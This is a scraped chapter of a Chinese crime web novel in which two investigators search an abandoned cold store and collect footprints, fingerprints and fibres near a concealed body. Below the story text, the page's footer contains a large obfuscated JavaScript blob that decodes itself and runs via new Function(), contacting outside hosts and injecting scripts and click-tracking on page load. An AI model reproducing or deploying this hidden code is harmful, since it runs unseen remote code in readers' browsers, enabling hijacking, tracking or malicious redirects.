第2369章 持续推进
二人继续向内推进,对冷库主作业区、设备区、储物区展开全域勘查。地面堆满锈蚀的制冷管道、破碎的保温板材、倒伏的钢架货架、腐朽的木质托盘,杂物层层堆叠、杂乱无序。厚厚的浮尘覆盖所有杂物表面,无新鲜翻动、踩踏、挪动痕迹,杂物堆叠结构稳定,无近期人为扰动的错落变化,完全符合长年封闭闲置特征。
杨森重点排查地面足迹痕迹,全程低身推进,灯光紧贴地面扫过每一寸空隙。在杂乱的建筑垃圾缝隙、设备底部死角、板材夹层空隙中,他陆续发现十余处残缺不全的足迹压痕。所有足迹均被灰尘覆盖、被杂物挤压破坏,轮廓残缺、花纹模糊、尺码无法精准判定,且全部老化风化,与现场长年荒废的环境特征高度匹配,无一枚新鲜、完整、具备比对价值的可疑足迹。
部份足迹呈现平底劳保鞋纹路,部分为普通休闲鞋浅痕,经初步甄别,均为早年冷库运维人员、过往巡查人员、早期零星施工人员遗留老旧痕迹,无陌生特殊鞋型、无残缺异常步态、无刻意隐匿行走的痕迹特征,无法锁定可疑人员,不具备案件侦办线索价值。
杨林则专注墙面、设备、柜体、板材表面的指纹与微量物证排查。在残存的金属操作台表面、锈蚀管道外壁、完整板材平面上,再次采集到二十余处残缺指纹、掌纹痕迹。全部纹路残缺、细节缺失,无一处完整可录入系统比对的有效指纹。多数痕迹年代久远,附着厚重浮尘,部分被霉菌覆盖侵蚀,完全丧失比对条件;少量新鲜浅淡纹路,经现场甄别,均为本次拆迁施工人员作业遗留,逐一登记排除,无涉案可疑指纹痕迹。
勘查推进至冷库北侧核心区域,也就是施工人员发现尸体的保温夹层位置。此处是整座冷库最隐蔽的区域,原本为双层保温夹心墙体,外层为彩钢保温板,内层为水泥墙面,中间预留三十公分宽的中空夹层,用于铺设制冷管线。长年废弃后,管线锈蚀脱落,夹层内部空旷隐蔽,被倒塌的板材、碎石、杂物半封堵,位置极为隐蔽,若非拆迁破拆,几乎不可能被人发现。
尸体便藏匿在这处狭窄封闭的保温夹层内部,被破碎的保温板材、干枯杂草、碎石尘土半掩埋,处于冷库最深处、最隐蔽的死角位置,完美规避了外界视线,常年无人涉足,封闭性极强。
二人抵达核心发现现场后,立刻放缓勘查节奏,进入最高标准精细化勘查模式,全程动作轻柔、缓慢,杜绝任何触碰、扰动、移位,严格固定原始现场状态。
夹层内部空间狭窄逼仄,仅容一人侧身进入,空气污浊凝滞,阴冷刺骨,混杂着浓重的腐朽异味。地面堆积厚厚的灰尘、碎屑、腐烂纤维、锈蚀铁屑,墙面霉变发黑,板材碎裂剥落,杂物层层堆积覆盖。
杨森首先对尸体周边地面、杂物、夹层入口地面进行足迹勘查。夹层内部地面浮尘保存完整、均匀平整,无任何新鲜踩踏痕迹、无挪动拖拽痕迹、无蹲坐停留压痕。尸体周边三米范围内,地面无足迹、无手印、无工具压痕、无物品摆放痕迹,现场干净得异常,没有任何多余人为活动痕迹。
在夹层左侧倒塌的保温板材边缘,杨林发现一枚极其浅淡、残缺不全的局部掌印,仅留存掌根一小块纹路,无手指纹路、无完整轮廓,附着在浮尘表层,老化严重,边缘模糊,无法提取有效特征、无法比对溯源,只能拍照固定、登记存档,无实际侦办价值。
随后,二人重点开展微量物证精细化筛查,这是隐蔽封闭现场最核心的取证环节,也是突破陈年旧案的关键。杨林手持无菌软毛刷,以尸体藏匿点位为中心,由内向外、由上至下,分区、分层、逐寸清扫收集微量物证,全程无菌操作、分类封存、精准标注坐标,杜绝交叉污染。
第一轮微量物证筛查,重点针对尸体表层覆盖物、周边地面、贴身杂物。在掩埋尸体的破碎保温板材缝隙、表层浮尘之中,成功筛取多类关键微量物证:第一类为彩色衣物纤维,数量细碎、质地轻薄,包含深蓝色棉质纤维、黑色化纤纤维、少量灰色针织纤维,纤维附着在板材碎屑与尘土之间,嵌入缝隙深处,非近期飘落附着,与现场老旧杂物材质完全不同,初步判定为死者衣物或外来人员衣物脱落遗留,具备送检比对价值。
第二类为极细金属碎屑,粒径不足一毫米,色泽暗沉、轻微氧化,疑似普通钢铁磨损碎屑,无特殊镀层、无特殊材质特征,暂时无法判定来源,统一提取封存送检。第三类为少量干枯毛发残段,长度极短、破损严重、风化老化,无毛囊残留,无法初步判定人体毛发或动物毛发,需实验室进一步检验甄别。第四类为微量漆皮碎屑,黑色哑光漆层,碎裂轻薄,疑似普通车辆或金属设备漆面脱落,无特殊标识、无专属特征,一并提取留存。
杨林将每一类微量物证单独装入无菌物证密封袋,逐一标注发现位置、提取时间、物证形态、分布特征,编号建档,全程可溯源、可复核,严格遵守刑事案件物证提取封存规范。
第二轮筛查聚焦夹层墙面、顶部板材、管线缝隙死角。在夹层顶部碎裂的保温板缝隙中,再次提取到少量暗红色细碎纤维,质地坚韧、颜色暗沉,与前期提取的蓝、黑、灰色纤维材质、色泽均不相同,疑似不同衣物材质脱落,进一步丰富微量物证库,全部原位拍照、精准提取、独立封存。
同时,在夹层内侧水泥墙面霉变层凹陷处,发现两处极其浅淡的擦蹭痕迹,无完整纹路,疑似指尖、衣物或物体轻微摩擦残留,无指纹、无掌纹,仅留存模糊擦痕印记,无法溯源锁定人员信息,仅作现场痕迹固定留存。(本章完)
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();